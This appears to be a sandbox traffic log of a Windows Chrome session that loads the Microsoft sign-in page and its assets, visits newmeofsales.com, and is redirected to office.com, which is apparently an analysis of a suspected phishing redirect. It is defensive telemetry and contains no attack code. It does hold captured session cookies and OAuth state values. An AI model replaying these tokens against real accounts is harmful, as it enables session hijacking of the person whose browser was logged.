Source: global traffic	HTTP traffic detected: GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true HTTP/1.1Host: login.microsoftonline.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; fpc=AnxeKz3mi6BEio4rlACbXLY; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQESJV2EAwTidCou7Q-e-PKLl6MCOKXQVZ-FiDACgIKE3ViK0Tjo7CxMuL_LgttLKuuaIP9SfWOX1brFkCTuFH0Pf-A5gaPEmzsm9_Tw_8hK50EJ31pL8g1eo3_PN7fueBEm9qCaWLylCo3mmGk3rfAZa4Ua72lQ9g4cte4_zKNWnQgAA; x-ms-gateway-slice=estsfd; stsservicec
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.microsoftonline.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; fpc=AnxeKz3mi6BEio4rlACbXLY; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQESJV2EAwTidCou7Q-e-PKLl6MCOKXQVZ-FiDACgIKE3ViK0Tjo7CxMuL_LgttLKuuaIP9SfWOX1brFkCTuFH0Pf-A5gaPEmzsm9_Tw_8hK50EJ31pL8g1eo3_PN7fueBEm9qCaWLylCo3mmGk3rfAZa4Ua72lQ9g4cte4_zKNWnQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://login.microsoftonline.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_GjP1RdcVSKf6ASC7mgkR1g2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://login.microsoftonline.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_r1sg5sxlkljjoa22hvk04g2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://login.microsoftonline.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_72a1051aa2aa2943d8c1.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_c4928fb5cff147a39780.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true HTTP/1.1Host: login.microsoftonline.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEbaL8fLeMidHHGL4oh_wh3tb5Qy-BeGazU-G8WsX1HqWG-kn0rRxNrTJYm8v1wGGijH77fY_4zU
Source: global traffic	HTTP traffic detected: GET /others.htm HTTP/1.1Host: newmeofsales.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "067e1a724-0;;;"If-Modified-Since: Mon, 24 Mar 2025 18:40:36 GMT
Source: global traffic	HTTP traffic detected: GET /?auth=2&home=1 HTTP/1.1Host: www.office.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://newmeofsales.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: OH.FLID=85d16236-38e9-4994-94c5-066db8de5dab; OH.DCAffinity=OH-eus; .AspNetCore.OpenIdConnect.Nonce._qIcgoyFU9ws-0VuZUL-tp7_vbofWLvtYDYSr6tvS5jHtNn-Lb4rJrJbQxvOdYjrePHoj5AYds1y6c13TFvrLcXHggYHRYWDaNC9yoZ3Ap5oR9e_NUQZXIqvG-0FyYCYzNfV_qqOa7HSBbDudkBWCVfGWeLNktagyLd5ocuSAsb-3eSXfw3dCUDdHOufxaVe2FTfahpAa5cY-nrJTbwevGnvpuiveDW5mpXPrUa6cRhdfxBya_Uj5qBTvUplX1HB=N; .AspNetCore.Correlation.d0v2y-Zg_JCM9QkRHwwjYA9UUKw40GSJNE6cTKOxdh8=N
Source: global traffic	HTTP traffic detected: GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://newmeofsales.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; 